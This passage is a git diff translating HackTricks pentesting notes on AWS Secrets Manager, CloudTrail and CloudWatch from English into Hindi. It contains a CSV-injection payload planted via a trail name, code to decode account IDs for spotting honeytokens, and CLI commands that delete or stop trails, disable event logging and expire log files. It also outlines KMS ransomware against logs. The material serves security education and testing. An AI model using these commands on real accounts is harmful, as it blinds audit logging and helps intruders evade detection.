उपयोगकर्ता को इसका उपयोग करने की अनुमति देने के लिए की नीति को संशोधित करें। -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager आपके सीक्रेट्स को AWS Secrets Manager के भीतर एन्क्रिप्ट करने के लिए AWS KMS के साथ एकीकृत होता है।** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,27 +27,22 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### पर्सिस्टेंस {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..ae30ba1fd 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - सुरक्षा और पहचान सेवाएँ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..a6d4fc6bb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है**। यह विस्तृत **इवेंट लॉग** कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है। -Each logged event contains: +प्रत्येक लॉग की गई घटना में शामिल है: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- कॉल की गई API का नाम: `eventName` +- कॉल की गई सेवा: `eventSource` +- समय: `eventTime` +- IP पता: `SourceIPAddress` +- एजेंट विधि: `userAgent`। उदाहरण: +- Signing.amazonaws.com - AWS प्रबंधन कंसोल से +- console.amazonaws.com - खाते का रूट उपयोगकर्ता +- lambda.amazonaws.com - AWS Lambda +- अनुरोध पैरामीटर: `requestParameters` +- प्रतिक्रिया तत्व: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +घटनाएँ **लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं**, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें **लगभग 15 मिनट बाद S3 में वितरित की जाती हैं।**\ +CloudTrail के लॉग को **खातों और क्षेत्रों के बीच समेकित किया जा सकता है।**\ +CloudTrail **लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको वितरित किए जाने के बाद अपरिवर्तित रही हैं।** यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।\ +एक ट्रेल बनाते समय इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ। -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन (SSE-S3) का उपयोग किया जाता है, इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं। -The logs are stored in a **S3 bucket with this name format**: +लॉग एक **S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- बकेट का नाम: **`aws-cloudtrail-logs--`** +- उदाहरण: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का **नाम इस प्रारूप का पालन करेगा**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +लॉग फ़ाइल नामकरण सम्मेलन ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +इसके अलावा, **डाइजेस्ट फ़ाइलें (फ़ाइल की अखंडता की जांच करने के लिए)** **समान बकेट** में होंगी: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### कई खातों से लॉग समेकित करना -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं +- गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है +- अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते। > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> याद रखें कि एक खाते में **विभिन्न ट्रेल्स** हो सकते हैं जो CloudTrail **सक्षम** हैं, जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं। -### Cloudtrail from all org accounts into 1 +### सभी संगठन खातों से 1 में CloudTrail -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +जब एक CloudTrail बनाते हैं, तो यह संभव है कि सभी खातों के लिए CloudTrail को सक्रिय करने के लिए संकेत दिया जाए और लॉग को केवल 1 बकेट में प्राप्त किया जाए:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)। -### Log Files Checking - -You can check that the logs haven't been altered by running +### लॉग फ़ाइलों की जांच +आप यह जांच सकते हैं कि लॉग में परिवर्तन नहीं किया गया है। ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail स्वचालित रूप से CloudWatch को लॉग भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।**\ +ध्यान दें कि CloudTrail को CloudWatch को लॉग भेजने की अनुमति देने के लिए एक **भूमिका** बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: यह CloudWatch लॉग स्ट्रीम बनाने की अनुमति देता है +- PutLogEvents: CloudTrail लॉग को CloudWatch लॉग स्ट्रीम में वितरित करें ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights** स्वचालित रूप से **लिखित प्रबंधन घटनाओं का विश्लेषण** करता है जो CloudTrail ट्रेल से आती हैं और आपको **असामान्य गतिविधि** के बारे में **चेतावनी** देता है। उदाहरण के लिए, यदि `TerminateInstance` घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ **असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं**। -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)
  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| CloudTrail Log File Integrity |
  • जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
  • डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग
    • डिजिटल हस्ताक्षर के लिए RSA के साथ SHA-256
    • अमेज़न द्वारा स्वामित्व वाला निजी कुंजी
  • डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| अनधिकृत पहुंच रोकें |
  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच
    • ऑडिटर्स —> केवल पढ़ने की पहुंच
  • लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें
| +| लॉग फ़ाइलों को हटाने से रोकें |
  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
  • S3 MFA हटाने के लिए कॉन्फ़िगर करें
  • लॉग फ़ाइल सत्यापन के साथ मान्य करें
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisor अपने अंतर्दृष्टि को इकट्ठा करने के लिए पिछले 400 दिनों के AWS **CloudTrail लॉग पर निर्भर करता है**। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग **यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था**। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने कौन सी AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को **अनुमतियों को परिष्कृत करने** के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को संभावित रूप से कम कर सकते हैं। > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> इसलिए, Access Advisor **उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों** के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,23 +122,20 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` - ### **CSV Injection** -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +CloudTrail के अंदर एक CVS इंजेक्शन करना संभव है जो मनमाना कोड चलाएगा यदि लॉग को CSV में निर्यात किया जाता है और Excel के साथ खोला जाता है।\ +निम्नलिखित कोड एक खराब ट्रेल नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें पेलोड शामिल है: ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - For more information about CSV Injections check the page: {{#ref}} @@ -150,100 +144,91 @@ https://book.hacktricks.xyz/pentesting-web/formula-injection For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) -## **Bypass Detection** +## **Detection को बायपास करें** -### HoneyTokens **bypass** +### HoneyTokens **बायपास** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytokens को **संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने** के लिए बनाया गया है। AWS के मामले में, ये **AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है**, यदि उस कुंजी के साथ कोई कार्रवाई होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है। -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +हालांकि, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) द्वारा बनाए गए Honeytokens या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता ID का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता ID को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, **तो आप जान सकते हैं कि कुंजी एक honeytoken है या नहीं**। -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)** से संबंधित है:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- यदि **`canarytokens.org`** भूमिका नाम में दिखाई देता है या खाता ID **`534261010715`** त्रुटि संदेश में दिखाई देती है। +- हाल ही में उनका परीक्षण करते समय, वे खाता **`717712589309`** का उपयोग कर रहे हैं और नाम में अभी भी **`canarytokens.com`** स्ट्रिंग है। +- यदि **`SpaceCrab`** त्रुटि संदेश में भूमिका नाम में दिखाई देता है +- **SpaceSiren** उपयोगकर्ता नाम उत्पन्न करने के लिए **uuids** का उपयोग करता है: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- यदि **नाम यादृच्छिक रूप से उत्पन्न होता है**, तो यह एक HoneyToken होने की उच्च संभावनाएँ हैं। -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### कुंजी ID से खाता ID प्राप्त करें +आप **एक्सेस कुंजी** के अंदर **कोडित** से **खाता ID** प्राप्त कर सकते हैं जैसे कि [**यहां समझाया गया है**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) और अपने Honeytokens AWS खातों की सूची के साथ खाता ID की जांच करें: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` - Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -#### Do not generate a log +#### लॉग उत्पन्न न करें -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +इसके लिए सबसे प्रभावी तकनीक वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जिसे आपने अभी पाया है ताकि अपने हमलावर खाते के अंदर किसी सेवा तक पहुंच सकें। इससे **CloudTrail आपके अपने AWS खाते के अंदर एक लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं**। -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जो खाता आईडी और खाता नाम को इंगित करता है, इसलिए **आप देख सकेंगे कि क्या यह एक Honeytoken है**। -#### AWS services without logs +#### लॉग के बिना AWS सेवाएँ -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. +अतीत में कुछ **AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं** (यहाँ [सूची खोजें](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). उन सेवाओं में से कुछ **त्रुटि** के साथ **कुंजी भूमिका का ARN** प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) इसे एक्सेस करने की कोशिश करता है। -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +इस तरह, एक **हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है**। ARN में हमलावर **AWS खाता आईडी और नाम** देख सकता है, हनीटोकन की कंपनियों के खाते की आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर पहचान सकता है कि क्या टोकन एक HoneyToken है। ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग उत्पन्न नहीं कर रही थीं, अब ठीक कर दी गई हैं, इसलिए शायद आपको अपनी खुद की खोज करनी होगी... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) देखें। -### Accessing Third Infrastructure +### तीसरी अवसंरचना तक पहुँच -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +कुछ AWS सेवाएँ **कुछ अवसंरचना उत्पन्न करेंगी** जैसे **डेटाबेस** या **कुबेरनेट्स** क्लस्टर (EKS)। एक उपयोगकर्ता **सीधे उन सेवाओं से बात कर रहा है** (जैसे कुबेरनेट्स API) **AWS API का उपयोग नहीं करेगा**, इसलिए CloudTrail इस संचार को नहीं देख पाएगा। -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और **API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए**। -More info in: +अधिक जानकारी में: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### CloudTrail कॉन्फ़िग को संशोधित करना +#### ट्रेल्स हटाएँ ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### ट्रेल्स रोकें ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### मल्टी-क्षेत्र लॉगिंग अक्षम करें ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### इवेंट चयनकर्ताओं द्वारा लॉगिंग बंद करें ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,49 +236,42 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के** इवेंट की जांच नहीं करेगी, उदाहरण के लिए)। -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं। +#### S3 जीवनचक्र नीति के माध्यम से लॉग हटाना ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### बकेट कॉन्फ़िगरेशन में संशोधन -### Modifying Bucket Configuration +- S3 बकेट को हटाएँ +- बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके +- S3 बकेट में जीवनचक्र नीति जोड़ें ताकि वस्तुओं को हटाया जा सके +- CloudTrail लॉग को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को निष्क्रिय करें -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +### Cloudtrail रैनसमवेयर -### Cloudtrail ransomware +#### S3 रैनसमवेयर -#### S3 ransomware - -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +आप **एक विषम कुंजी उत्पन्न** कर सकते हैं और **CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट** करने के लिए कह सकते हैं और **निजी कुंजी को हटा सकते हैं** ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके।\ +यह मूल रूप से एक **S3-KMS रैनसमवेयर** है जो कि इस में समझाया गया है: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**KMS रैनसमवेयर** -This is an easiest way to perform the previous attack with different permissions requirements: +यह विभिन्न अनुमतियों की आवश्यकताओं के साथ पिछले हमले को करने का सबसे आसान तरीका है: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **संदर्भ** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..8335dc2e3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, 